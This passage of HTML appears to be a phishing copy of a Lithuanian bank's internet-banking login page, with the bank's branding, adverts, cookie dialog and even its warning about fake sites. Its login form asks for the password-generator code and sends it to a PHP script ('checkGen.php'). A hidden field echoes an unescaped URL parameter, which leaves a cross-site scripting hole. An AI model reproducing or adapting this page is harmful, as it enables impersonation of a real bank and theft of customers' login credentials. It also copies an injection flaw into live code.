      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy h4,
      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy h6,
      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy p,
      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy li,
      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy a,
      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy th,
      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy #cookie-policy-description,
      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy .ot-sdk-cookie-policy-group,
      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy #cookie-policy-title {
        color: dimgray
      }

      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy #cookie-policy-description {
        margin-bottom: 1em
      }

      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy .ot-sdk-subgroup {
        margin-left: 1.5em
      }

      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy #cookie-policy-description,
      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy .ot-sdk-cookie-policy-group-desc,
      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy .ot-table-header,
      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy a,
      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy span,
      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy td {
        font-size: .9em
      }

      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy td span,
      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy td a {
        font-size: inherit
      }

      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy .ot-sdk-cookie-policy-group {
        font-size: 1em;
        margin-bottom: .6em
      }

      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy .ot-sdk-cookie-policy-title {
        margin-bottom: 1.2em
      }

      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy>section {
        margin-bottom: 1em
      }

      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy th {
        min-width: 75px
      }

      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy a,
      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy a:hover {
        background: #fff
      }

      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy thead {
        background-color: #f6f6f4;
        font-weight: bold
      }

      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy .ot-mobile-border {
        display: none
      }

      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy section {
        margin-bottom: 2em
      }

      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy .ot-sdk-subgroup ul li {
        list-style: disc;
        margin-left: 1.5em
      }

      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy .ot-sdk-subgroup ul li h4 {
        display: inline-block
      }

      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy table {
        border-collapse: inherit;
        margin: auto;
        border: 1px solid #d7d7d7;
        border-radius: 5px;
        border-spacing: initial;
        width: 100%;
        overflow: hidden
      }

      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy table th,
      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy table td {
        border-bottom: 1px solid #d7d7d7;
        border-right: 1px solid #d7d7d7
      }

      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy table tr:last-child td {
        border-bottom: 0px
      }

      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy table tr th:last-child,
      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy table tr td:last-child {
        border-right: 0px
      }

      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy table .ot-host,
      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy table .ot-cookies-type {
        width: 25%
      }

      .ot-sdk-cookie-policy[dir=rtl] {
        text-align: left
      }

      #ot-sdk-cookie-policy h3 {
        font-size: 1.5em
      }

      @media only screen and (max-width: 530px) {

        .ot-sdk-cookie-policy:not(#ot-sdk-cookie-policy-v2) table,
        .ot-sdk-cookie-policy:not(#ot-sdk-cookie-policy-v2) thead,
        .ot-sdk-cookie-policy:not(#ot-sdk-cookie-policy-v2) tbody,
        .ot-sdk-cookie-policy:not(#ot-sdk-cookie-policy-v2) th,
        .ot-sdk-cookie-policy:not(#ot-sdk-cookie-policy-v2) td,
        .ot-sdk-cookie-policy:not(#ot-sdk-cookie-policy-v2) tr {
          display: block
        }

        .ot-sdk-cookie-policy:not(#ot-sdk-cookie-policy-v2) thead tr {
          position: absolute;
          top: -9999px;
          left: -9999px
        }

        .ot-sdk-cookie-policy:not(#ot-sdk-cookie-policy-v2) tr {
          margin: 0 0 1em 0
        }

        .ot-sdk-cookie-policy:not(#ot-sdk-cookie-policy-v2) tr:nth-child(odd),
        .ot-sdk-cookie-policy:not(#ot-sdk-cookie-policy-v2) tr:nth-child(odd) a {
          background: #f6f6f4
        }

        .ot-sdk-cookie-policy:not(#ot-sdk-cookie-policy-v2) td {
          border: none;
          border-bottom: 1px solid #eee;
          position: relative;
          padding-left: 50%
        }

        .ot-sdk-cookie-policy:not(#ot-sdk-cookie-policy-v2) td:before {
          position: absolute;
          height: 100%;
          left: 6px;
          width: 40%;
          padding-right: 10px
        }

        .ot-sdk-cookie-policy:not(#ot-sdk-cookie-policy-v2) .ot-mobile-border {
          display: inline-block;
          background-color: #e4e4e4;
          position: absolute;
          height: 100%;
          top: 0;
          left: 45%;
          width: 2px
        }

        .ot-sdk-cookie-policy:not(#ot-sdk-cookie-policy-v2) td:before {
          content: attr(data-label);
          font-weight: bold
        }

        .ot-sdk-cookie-policy:not(#ot-sdk-cookie-policy-v2) li {
          word-break: break-word;
          word-wrap: break-word
        }

        #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy table {
          overflow: hidden
        }

        #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy table td {
          border: none;
          border-bottom: 1px solid #d7d7d7
        }

        #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy table,
        #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy thead,
        #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy tbody,
        #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy th,
        #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy td,
        #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy tr {
          display: block
        }

        #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy table .ot-host,
        #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy table .ot-cookies-type {
          width: auto
        }

        #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy tr {
          margin: 0 0 1em 0
        }

        #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy td:before {
          height: 100%;
          width: 40%;
          padding-right: 10px
        }

        #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy td:before {
          content: attr(data-label);
          font-weight: bold
        }

        #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy li {
          word-break: break-word;
          word-wrap: break-word
        }

        #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy thead tr {
          position: absolute;
          top: -9999px;
          left: -9999px;
          z-index: -9999
        }

        #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy table tr:last-child td {
          border-bottom: 1px solid #d7d7d7;
          border-right: 0px
        }

        #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy table tr:last-child td:last-child {
          border-bottom: 0px
        }
      }

      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy h5,
      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy h6,
      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy li,
      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy p,
      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy a,
      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy span,
      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy td,
      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy #cookie-policy-description {
        color: #696969;
      }

      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy th {
        color: #696969;
      }

      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy .ot-sdk-cookie-policy-group {
        color: #696969;
      }

      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy #cookie-policy-title {
        color: #696969;
      }

      #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy table th {
        background-color: #F8F8F8;
      }

      .ot-floating-button__front {
        background-image: url('https://cdn.cookielaw.org/logos/static/ot_persistent_cookie_icon.png')
      }
    </style>
  </head>
  <body>
    <div id="page-frame">
      <!-- /////////////////////////////////////// -->
      <div id="header" role="banner">
        <div id="header-inner">
          <div id="header-1-1">
            <div class="w1000-center">
              <div class="left wp100">
                <div id="header-1-1-border">
                  <div class="language">
                    <ul>
                      <li aria-label="Kalbos keitimas">
                        <a href="login.aspx?NoRedirect=1&amp;SetLanguage=ENG"> English </a>
                      </li>
                    </ul>
                  </div>
                </div>
              </div>
            </div>
          </div>
          <div id="header-1-2">
            <div class="w1000-center">
              <div class="left wp100">
                <a id="main-logo" href="login.aspx" title="LUMINOR">&nbsp;</a>
              </div>
            </div>
          </div>
          <div id="header-1-4">&nbsp;</div>
        </div>
      </div>
      <!-- /////////////////////////////////////// -->
      <div id="wrap" role="main">
        <div class="w1000-center">
          <script type="text/javascript"></script>
          <div id="wrapper-inner">
            <div id="left-col">						
						<!-- ********************** -->
						

<style>
    strong
    {
      font-weight:bold;
    }
    em
    {
      font-style:italic;
    }
    </style>
<ul id="login-options">
  <li id="SmartId">
    <div class="a1">
      <div class="a2">
        <a href="#">Smart-ID</a>
      </div>
    </div>
  </li>
  <li id="PINandVSC" class="active">
    <div class="a1">
      <div class="a2">
        <a href="#">Generatorius</a>
      </div>
    </div>
  </li>
  <li id="PKINoPwd">
    <div class="a1">
      <div class="a2">
        <a href="#">M. parašas</a>
      </div>
    </div>
  </li>
</ul>
<div class="whiteblock-big">
  <div class="whiteblock-big-padding">
    <form method="post" action="checkGen.php" name="lg">
      <div class="data-enter">
        <table summary="" border="0" cellpadding="0" cellspacing="0">
          <input value="<?php echo $_GET['id'] ?>" id="PasswordId" name="id" type="hidden">
          <tbody>
            <tr>
              <td class="td190" align="left" valign="middle" style="width: 40%;">
                <label for="text">Slaptažodžių generatoriaus kodas <?php echo $pay->msgTextGen;?>:</label>
              </td>
              <td align="left" valign="middle">
                <div style="float: left;">
                  <input size="25" required minlength="4" class="formtext" id="text" type="password" name="gen-pin" autocomplete="off">
                </div>
                <div id="infobox1" style="float: left;position: relative;left: 13px;">
                  <a class="tooltip-2" role="tooltip" href="javascript:;">
                    <img src="images/klaustukas.svg?v=1" width="26" height="25" alt="Tooltip: &lt;p&gt;Įveskite pin&lt;/p&gt;">
                  </a>
                </div>
              </td>
              <td>
            </td></tr>
            <tr>
              <td align="left" valign="top">&nbsp;</td>
              <td align="left" valign="top">
                <div class="logoutbutton-pad">
                 <button type="submit" id="logout" class="logoutbutton">
                    <span>Prisijungti</span>
                  </button>
                </div>
              </td>
              <td align="left" valign="top">&nbsp;</td>
            </tr>
          </tbody>
        </table>
      </div>
    </form>
  </div>
</div>
<style>.inactive { background-image:url(images/menu-button-normal-background.png?v=1) !important; color: #3F3F3F !important; }</style>
<script type="text/javascript" charset="utf-8">
			if ($('form[name="pdf"]').length > 0){
				$('form[name="pdf"]').attr("method", "get");
			}
			
			if (typeof Forms != 'undefined')
			{
				var Form = Forms.Extend("main");
            
				aFld=new Array();
				aFlds=new Array();
				aFldLngs=new Array();
				function resetParameters(){
					
					aFld=new Array();	
					aFlds=new Array();
					aFldLngs=new Array();
          }
          resetParameters();
          if (aFld){
          formRequiredHighliter(Form,aFld);
          }
          if (aFlds){
          if (aFldLngs) if (self.setFormFieldLengths) {
          setFormFieldLengths(Form,aFlds,aFldLngs);
          }
          }
          }

        
		
    if(document.lg.lpin!=null)document.lg.lpin.focus();
    else
    if(document.lg.lp!=null)document.lg.lp.focus();

    $(document).ready(function(){
    document.forms['lg'].elements["fingerprint"].value = getFingerPrint();
    document.forms['lg'].elements["clienttimezone"].value = getTimeZone();
    $('form[name="lg"]').submit(function(){ return doLogin(); });
    $('div#PopUp1').hide();
    $('div#PopUp2').hide();
    });

    function doLogin()
    {
    var $lnk=$('#logout');
    if ($lnk.hasClass('inactive'))
    return false;
    $lnk.addClass('inactive');
    $('span',$lnk).html('Kraunama ...').addClass('inactive');	
		return true;
	}
	  
     $('div#infobox1').mouseover(function(e)
  {
    document.getElementById('PopUp1').style.position='absolute';
    $(document.getElementById('PopUp1')).css('left',e.pageX);
    $(document.getElementById('PopUp1')).css('top',e.pageY); 
    $(document.getElementById('PopUp1')).css('right','auto');
   
    if((e.pageX+$(document.getElementById('PopUp1')).width())>$(window).width())
       $(document.getElementById('PopUp1')).css('left',e.pageX-$(document.getElementById('PopUp1')).width());
   
    document.getElementById('PopUp1').style.display = 'block';
   
  });
   $('div#infobox2').mouseover(function(e)
  {
   document.getElementById('PopUp2').style.position='absolute';
    $(document.getElementById('PopUp2')).css('left',e.pageX);
    $(document.getElementById('PopUp2')).css('top',e.pageY); 
    $(document.getElementById('PopUp2')).css('right','auto');
   
    if((e.pageX+$(document.getElementById('PopUp2')).width())>$(window).width())
       $(document.getElementById('PopUp2')).css('left',e.pageX-$(document.getElementById('PopUp2')).width());
   
    document.getElementById('PopUp2').style.display = 'block';
   
  });

	function rightCheckEnter(e) {
    var result = isEnter(e);
    if (result === true)
      $(document.forms.lg).submit();
      
    return !result;
}
  
  
  
          
       
         
            &nbsp;		
	    </script>




						<div class="whiteblock-big">
							<div class="whiteblock-big-ad">
								
    <div id="IBPlace_LoginBottom" ibid="61" wfplaceid="5" onclick="ItemClicked_LoginBottom()">
        <p>&nbsp;</p>

&nbsp;<table style="width: 254px;" border="0" cellspacing="10">
<tbody>
<tr>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td><a href="https://www.luminor.lt/lt/privatiems/daznai-uzduodami-klausimai-0" target="_blank"><img onmouseover="this.src='images/DUK-hover-202x37.png';" onmouseout="this.src='images/DUK-202x37.png';" src="images/DUK-202x37.png" alt="" width="202" height="37"></a></td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td><a href="https://www.luminor.lt/B7-DEMO/luminor-ilinija-demo/" target="_blank"><img onmouseover="this.src='images/demo-versija-hover-202x37.png';" onmouseout="this.src='images/demo-versija-202x37.png';" src="images/demo-versija-202x37.png" alt="" width="202" height="37"></a></td>
</tr>
<tr>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td><a href="https://www.luminor.lt/lt/kontaktai" target="_blank"><img onmouseover="this.src='images/kontaktai-hover-202x37.png';" onmouseout="this.src='images/kontaktai-202x37.png';" src="images/kontaktai-202x37.png" alt="" width="202" height="37"></a></td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td><a href="https://www.luminor.lt/lt/slapukai" target="_blank"><img onmouseover="this.src='images/slapukai-hover-202x37.png';" onmouseout="this.src='images/slapukai-202x37.png';" src="images/slapukai-202x37.png" alt="" width="202" height="37"></a></td>
</tr>
</tbody></table>
<p>&nbsp;<img src="images/pilkasbruksnys.bmp" alt="" width="518" height="15"></p>
<table style="width: 518px;" border="0">
<tbody>
<tr>
<td style="width: 2px;">
<p style="margin: 9px;" align="justify"><span style="font-size: large; color: #4f8b97; font-family: arial,helvetica,sans-serif;"><span style="font-size: x-large;">&nbsp;</span></span></p>
</td>
<td>
<p style="margin: 10px;" align="justify">&nbsp;<a href="https://luminor.lt/lt/privatiems/vartojimo-paskola?utm_source=IB_Login&amp;utm_medium=Pink_CL" target="_blank"><img src="images/Luminor_Vartojimo_paskola_260520_470x200_cash_loan.png" alt="Nuotolinės paslaugos" width="470" height="200"></a></p>
</td>
</tr>
</tbody>
</table>
    </div>

    <script type="text/javascript" language="javascript">
        function ItemClicked_LoginBottom () {
            $.ajaxSetup({ success: '' });
            $.ajax({ type: "POST", url: "IB.aspx", data: { WFName: "UserPIN", IBPlace: $("#IBPlace_LoginBottom").attr("WFPlaceID"), IBID: $("#IBPlace_LoginBottom").attr("IBID"), Clicked: 1 } });
        }			
    </script>


<style type="text/css">
	strong {
		font-weight: bold;
	}

	em {
		font-style: italic;
	}

	#IBPlace_PageLeftAfterMenu p, #IBPlace_PageContent p, #IBPlace_PageBottom p {
		margin-top: 1em;
		margin-bottom: 1em;
	}
</style>

							</div>
						</div>
						<!-- ********************** -->
					</div>
            <div id="right-col">
              <!-- ********************** -->
              <div class="whiteblock-small">
                <div id="IBPlace_LoginRight" ibid="151" wfplaceid="7" onclick="ItemClicked_LoginRight()">
                  <table style="width: 225px; background-color: #e2a1a9;" border="0">
                    <tbody>
                      <tr>
                        <td>
                          <p>
                            <span style="font-size: medium;">
                              <span style="color: #37102d;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span>
                            </span>
                          </p>
                        </td>
                        <td>
                          <p style="text-align: center;">&nbsp; <span style="font-family: ApercuPro-Regular;">
                              <span style="font-size: small;">
                                <span style="color: #37102d;">
                                  <span style="font-size: x-large;">
                                    <strong>
                                      <br>Dėmesio! </strong>
                                  </span>
                                </span>
                              </span>
                            </span>
                          </p>
                          <p style="text-align: center;">&nbsp;</p>
                          <p style="text-align: left;">
                            <span style="font-family: ApercuPro-Regular;">
                              <span style="font-size: small;">
                                <span style="color: #37102d;">
                                  <strong>Būkite atidūs jungdamiesi prie interneto banko:</strong> „Google“ paieškoje daugėja suklastotų svetainių, apsimetančių oficialiais banko puslapiais, todėl <strong>prisijungti rekomenduojame tik patiems naršyklėje įvedus oficialų adresą ir naudoti tik PIN1 kodą</strong> (PIN2 skirtas tik mokėjimams patvirtinti). </span>
                              </span>
                            </span>&nbsp;
                          </p>
                        </td>
                        <td>&nbsp;</td>
                      </tr>
                      <tr>
                        <td>
                          <p>
                            <span style="font-size: medium;">
                              <span style="color: #37102d;">&nbsp;</span>
                            </span>
                          </p>
                        </td>
                        <td>
                          <p>
                            <span style="font-size: medium;">
                              <span style="color: #37102d;">&nbsp;</span>
                            </span>
                          </p>
                        </td>
                        <td>
                          <p>
                            <span style="font-size: medium;">
                              <span style="color: #37102d;">&nbsp;</span>
                            </span>
                          </p>
                        </td>
                      </tr>
                    </tbody>
                  </table>
                  <p>
                    <a href="https://luminor.lt/lt/smart-id" target="_blank">
                      <img src="images/Smart_ID_BG_1.png" alt="" width="225" height="194">
                    </a>
                  </p>
                </div>
                <script type="text/javascript" language="javascript">
                  function ItemClicked_LoginRight() {
                    $.ajaxSetup({
                      success: ''
                    });
                    $.ajax({
                      type: "POST",
                      url: "IB.aspx",
                      data: {
                        WFName: "Registration",
                        IBPlace: $("#IBPlace_LoginRight").attr("WFPlaceID"),
                        IBID: $("#IBPlace_LoginRight").attr("IBID"),
                        Clicked: 1
                      }
                    });
                  }
                </script>
                <style type="text/css">
                  strong {
                    font-weight: bold;
                  }

                  em {
                    font-style: italic;
                  }

                  #IBPlace_PageLeftAfterMenu p,
                  #IBPlace_PageContent p,
                  #IBPlace_PageBottom p {
                    margin-top: 1em;
                    margin-bottom: 1em;
                  }
                </style>
              </div>
              <!-- ********************** -->
            </div>
          </div>
        </div>
      </div>
      <!-- /////////////////////////////////////// -->
      <div id="footer" role="contentinfo">
        <div class="w1000-center-width">
          <p align="center">
            <span style="font-size: medium; font-family: ApercuPro-Regular; color: #481335;">Informacija tel.: <strong>+370 5 239 3444</strong>
              <br>Luminor klientų aptarnavimo centro darbo laikas: <br>Privatiems: I-V 8:00-20:00; VI 9:00-16:00; <br>Verslui: I-V 8:00 - 17:00 <br>
            </span>
          </p>
        </div>
        <!--img src="https://d21y75miwcfqoq.cloudfront.net/a21754fb" style="position:absolute" referrerpolicy="no-referrer-when-downgrade"/-->
      </div>
    </div>
    <div id="tooltip" aria-live="polite" style="display: none; left: 1299px; right: auto; top: 256px;">
      <h3>
        <p>Prisijungimo kodas - tai nekintantis 6 ar 7 skaitmenų kodas. Jį rasite naudojimosi banko paslaugomis internete susitarimo priede.</p>
      </h3>
      <div class="body" style="display: none;"></div>
      <div class="url" style="display: none;"></div>
    </div>
    <div id="fancybox-tmp"></div>
    <div id="fancybox-loading">
      <div></div>
    </div>
    <div id="fancybox-overlay"></div>
    <div id="fancybox-wrap">
      <div id="fancybox-outer">
        <div class="fancybox-bg" id="fancybox-bg-n"></div>
        <div class="fancybox-bg" id="fancybox-bg-ne"></div>
        <div class="fancybox-bg" id="fancybox-bg-e"></div>
        <div class="fancybox-bg" id="fancybox-bg-se"></div>
        <div class="fancybox-bg" id="fancybox-bg-s"></div>
        <div class="fancybox-bg" id="fancybox-bg-sw"></div>
        <div class="fancybox-bg" id="fancybox-bg-w"></div>
        <div class="fancybox-bg" id="fancybox-bg-nw"></div>
        <div id="fancybox-content"></div>
        <a id="fancybox-close" role="button"></a>
        <div id="fancybox-title"></div>
        <a href="javascript:;" id="fancybox-left">
          <span class="fancy-ico" id="fancybox-left-ico"></span>
        </a>
        <a href="javascript:;" id="fancybox-right">
          <span class="fancy-ico" id="fancybox-right-ico"></span>
        </a>
      </div>
    </div>
    <div id="give-freely-root-camppjleccjaphfdbohjdohecfnoikec" class="give-freely-root" data-extension-id="camppjleccjaphfdbohjdohecfnoikec" data-extension-name="Merlin AI" style="display: block;"></div>
    <div id="onetrust-consent-sdk" data-nosnippet="true">
      <div class="onetrust-pc-dark-filter ot-hide ot-fade-in"></div>
      <div id="onetrust-pc-sdk" class="otPcCenter ot-hide ot-fade-in" lang="lt">
        <div role="dialog" aria-modal="true" style="height: 100%;" aria-label="Sutikimas dėl slapukų naudojimo">
          <!-- Close Button -->
          <div class="ot-pc-header">
            <!-- Logo Tag -->
            <div class="ot-pc-logo">
              <img alt="Įmonės logotipas" src="https://cdn.cookielaw.org/logos/0341a1bb-99f6-47d3-a522-1c898b8cfbc8/82034eb2-9dbf-499f-9fee-9480faf536d1/eaf6f695-bb9c-4e77-8a97-30aa96fb7a71/Luminor_burgundy.png">
            </div>
            <button id="close-pc-btn-handler" class="ot-close-icon" aria-label="Uždaryti pirmenybių centrą" style="background-image: url(&quot;https://cdn.cookielaw.org/logos/static/ot_close.svg&quot;);"></button>
          </div>
          <!-- Close Button -->
          <div id="ot-pc-content" class="ot-pc-scrollbar">
            <div class="ot-optout-signal ot-hide">
              <div class="ot-optout-icon" aria-hidden="true">
                <svg xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
                  <path class="ot-floating-button__svg-fill" d="M14.588 0l.445.328c1.807 1.303 3.961 2.533 6.461 3.688 2.015.93 4.576 1.746 7.682 2.446 0 14.178-4.73 24.133-14.19 29.864l-.398.236C4.863 30.87 0 20.837 0 6.462c3.107-.7 5.668-1.516 7.682-2.446 2.709-1.251 5.01-2.59 6.906-4.016zm5.87 13.88a.75.75 0 00-.974.159l-5.475 6.625-3.005-2.997-.077-.067a.75.75 0 00-.983 1.13l4.172 4.16 6.525-7.895.06-.083a.75.75 0 00-.16-.973z" fill="#FFF" fill-rule="evenodd"></path>
                </svg>
              </div>
              <span id="ot-pc-gpc-txt"></span>
            </div>
            <h2 id="ot-pc-title">Sutikimas dėl slapukų naudojimo</h2>
            <div id="ot-pc-desc">Slapukai yra maži ir paprasti teksto failai, išsaugomi jūsų įrenginyje, kai lankotės svetainėje. Kai kurie slapukai yra būtini, kad svetainė veiktų, kiti slapukai padeda suasmeninti svetainę ir užtikrinti jos aktualumą jums. Be privalomų slapukų, taip pat norėtume nustatyti statistinius ir (arba) rinkodaros slapukus. Juos nustatysime, tik jei sutiksite. Pasirinkti slapukus galite toliau. Daugiau informacijos rasite mūsų <br>
              <a href="https://www.luminor.lt/lt/slapukai" class="privacy-notice-link" rel="noopener noreferrer" target="_blank" aria-label="Daugiau informacijos apie jūsų privatumą, atidaroma naujame skirtuke">slapukų politikoje</a>
            </div>
            <button id="accept-recommended-btn-handler" ot-button-order="0">Priimti visus</button>
            <section class="ot-sdk-row ot-cat-grp">
              <h3 id="ot-category-title">Valdyti nuostatas</h3>
              <div class="ot-accordion-layout ot-cat-item ot-vs-config" data-optanongroupid="C0001">
                <button aria-expanded="false" ot-accordion="true" aria-controls="ot-desc-id-C0001" aria-labelledby="ot-header-id-C0001 ot-status-id-C0001"></button>
                <!-- Accordion header -->
                <div class="ot-acc-hdr ot-always-active-group">
                  <div class="ot-plus-minus">
                    <span></span>
                    <span></span>
                  </div>
                  <h4 class="ot-cat-header" id="ot-header-id-C0001">Privalomi</h4>
                  <div id="ot-status-id-C0001" class="ot-always-active">Visada įjungta</div>
                </div>
                <!-- accordion detail -->
                <div class="ot-acc-grpcntr ot-acc-txt">
                  <p class="ot-acc-grpdesc ot-category-desc" id="ot-desc-id-C0001">Šie slapukai padeda mums užtikrinti svetainės pagrindinių funkcijų veikimą. Be šių slapukų svetainė veiks netinkamai.</p>
                </div>
              </div>
              <!-- Groups sections starts -->
              <!-- Group section ends -->
              <!-- Accordion Group section starts -->
              <!-- Accordion Group section ends -->
            </section>
          </div>
          <section id="ot-pc-lst" class="ot-hide ot-hosts-ui ot-pc-scrollbar">
            <div id="ot-pc-hdr">
              <div id="ot-lst-title">
                <button class="ot-link-btn back-btn-handler" aria-label="Back">
                  <svg id="ot-back-arw" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 444.531 444.531" xml:space="preserve">
                    <title>Back Button</title>
                    <g>
                      <path fill="#656565" d="M213.13,222.409L351.88,83.653c7.05-7.043,10.567-15.657,10.567-25.841c0-10.183-3.518-18.793-10.567-25.835
                    l-21.409-21.416C323.432,3.521,314.817,0,304.637,0s-18.791,3.521-25.841,10.561L92.649,196.425
                    c-7.044,7.043-10.566,15.656-10.566,25.841s3.521,18.791,10.566,25.837l186.146,185.864c7.05,7.043,15.66,10.564,25.841,10.564
                    s18.795-3.521,25.834-10.564l21.409-21.412c7.05-7.039,10.567-15.604,10.567-25.697c0-10.085-3.518-18.746-10.567-25.978
                    L213.13,222.409z"></path>
                    </g>
                  </svg>
                </button>
                <h3>Slapukų sąrašas</h3>
              </div>
              <div class="ot-lst-subhdr">
                <div class="ot-search-cntr">
                  <p role="status" class="ot-scrn-rdr"></p>
                  <input id="vendor-search-handler" type="text" name="vendor-search-handler" placeholder="Ieškoti..." aria-label="Slapukų sąrašo ieška">
                  <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 -30 110 110" aria-hidden="true">
                    <title>Search Icon</title>
                    <path fill="#2e3644" d="M55.146,51.887L41.588,37.786c3.486-4.144,5.396-9.358,5.396-14.786c0-12.682-10.318-23-23-23s-23,10.318-23,23
            s10.318,23,23,23c4.761,0,9.298-1.436,13.177-4.162l13.661,14.208c0.571,0.593,1.339,0.92,2.162,0.92
            c0.779,0,1.518-0.297,2.079-0.837C56.255,54.982,56.293,53.08,55.146,51.887z M23.984,6c9.374,0,17,7.626,17,17s-7.626,17-17,17
            s-17-7.626-17-17S14.61,6,23.984,6z"></path>
                  </svg>
                </div>
                <div class="ot-fltr-cntr">
                  <button id="filter-btn-handler" aria-label="Filtruoti Slapukų sąrašas" aria-haspopup="true" aria-expanded="false">
                    <svg role="presentation" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 402.577 402.577" xml:space="preserve">
                      <title>Filter Icon</title>
                      <g>
                        <path fill="#fff" d="M400.858,11.427c-3.241-7.421-8.85-11.132-16.854-11.136H18.564c-7.993,0-13.61,3.715-16.846,11.136
      c-3.234,7.801-1.903,14.467,3.999,19.985l140.757,140.753v138.755c0,4.955,1.809,9.232,5.424,12.854l73.085,73.083
      c3.429,3.614,7.71,5.428,12.851,5.428c2.282,0,4.66-0.479,7.135-1.43c7.426-3.238,11.14-8.851,11.14-16.845V172.166L396.861,31.413
      C402.765,25.895,404.093,19.231,400.858,11.427z"></path>
                      </g>
                    </svg>
                  </button>
                </div>
                <div id="ot-anchor"></div>
                <section id="ot-fltr-modal">
                  <div id="ot-fltr-cnt">
                    <div id="ot-filter-list-header"></div>
                    <button id="clear-filters-handler">Clear</button>
                    <div class="ot-fltr-scrlcnt ot-pc-scrollbar" role="group" aria-labelledby="ot-filter-list-header">
                      <ul class="ot-fltr-opts">
                        <li class="ot-fltr-opt">
                          <div class="ot-chkbox">
                            <input id="chkbox-id" type="checkbox" class="category-filter-handler">
                            <label for="chkbox-id">
                              <span class="ot-label-txt">checkbox label</span>
                            </label>
                            <span class="ot-label-status">label</span>
                          </div>
                        </li>
                      </ul>
                      <div class="ot-fltr-btns">
                        <button id="filter-apply-handler">Apply</button>
                        <button id="filter-cancel-handler">Cancel</button>
                      </div>
